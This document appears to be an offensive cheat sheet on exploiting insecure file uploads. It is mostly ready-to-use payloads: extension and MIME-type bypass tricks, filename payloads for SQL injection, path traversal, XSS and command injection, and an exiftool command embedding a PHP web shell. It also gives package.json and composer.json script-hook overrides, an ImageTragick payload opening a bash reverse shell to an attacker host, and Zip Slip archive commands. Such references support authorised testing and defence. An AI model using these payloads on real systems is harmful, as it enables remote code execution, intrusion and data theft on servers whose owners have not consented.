Insecure File Upload

Insecure File Upload #

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Tools #

Exploits #

Defaults extensions #

  • PHP Server
    .php
    .php3
    .php4
    .php5
    .php7
    
    # Less known PHP extensions
    .pht
    .phps
    .phar
    .phpt
    .pgif
    .phtml
    .phtm
    .inc
    
  • ASP Server
    .asp
    .aspx
    .config
    .cer and .asa # (IIS <= 7.5)
    shell.aspx;1.jpg # (IIS < 7.0)
    shell.soap
    
  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions
  • Perl: .pl, .pm, .cgi, .lib
  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks #

  • Use double extensions : .jpg.php, .png.php5
  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
  • Random uppercase and lowercase : .pHp, .pHP5, .PhAr
  • Null byte (works well against pathinfo())
    • .php%00.gif
    • .php\x00.gif
    • .php%00.png
    • .php\x00.png
    • .php%00.jpg
    • .php\x00.jpg
  • Special characters
    • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
    • Whitespace and new line characters
      • file.php%20
      • file.php%0d%0a.jpg
      • file.php%0a
    • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
    • Slash: file.php/, file.php.\, file.j\sp, file.j/sp
    • Multiple special characters: file.jsp/././././.
  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
    • Content-Type : image/gif
    • Content-Type : image/png
    • Content-Type : image/jpeg
    • Content-Type wordlist: SecLists/content-type.txt
    • Set the Content-Type twice: once for unallowed type and once for allowed.
  • Magic Bytes
    • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
      • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
      • JPG: \xff\xd8\xff
      • GIF: GIF87a OR GIF8;
    • Shell can also be added in the metadata
  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)

Filename vulnerabilities #

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension
  • LFI/Path Traversal Payloads: e.g. image.png../../../../../../../etc/passwd
  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension
  • File Traversal e.g. ../../../tmp/lol.png
  • Command Injection e.g. ; sleep 10;

Also you upload:

  • HTML/SVG files to trigger an XSS
  • EICAR file to check the presence of an antivirus

Picture Compression #

Create valid pictures hosting PHP code. Upload the picture and use a Local File Inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.
  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().
    • JPG: use createBulletproofJPG.py
    • PNG: use createPNGwithPLTE.php
    • GIF: use createGIFwithGlobalColorTable.php

Picture with custom metadata #

Create a custom picture and insert exif tag with exiftool. A list of multiple exif tags can be found at exiv2.org

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

Configuration Files #

If you are trying to upload files to a :

  • PHP server, take a look at the .htaccess trick to execute code.
  • ASP server, take a look at the web.config trick to execute code.

Configuration files examples

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

  • package.json
    "scripts": {
        "prepare" : "/bin/touch /tmp/pwned.txt"
    }
    
  • composer.json
    "scripts": {
        "pre-command-run" : [
        "/bin/touch /tmp/pwned.txt"
        ]
    }
    

CVE - Image Tragik #

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

CVE - FFMpeg #

FFmpeg HLS vulnerability

ZIP archive #

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else
    python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
    
    ln -s ../../../index.php symindex.txt
    zip --symlinks test.zip symindex.txt
    

Jetty RCE #

Upload the XML file to $JETTY_BASE/webapps/

References #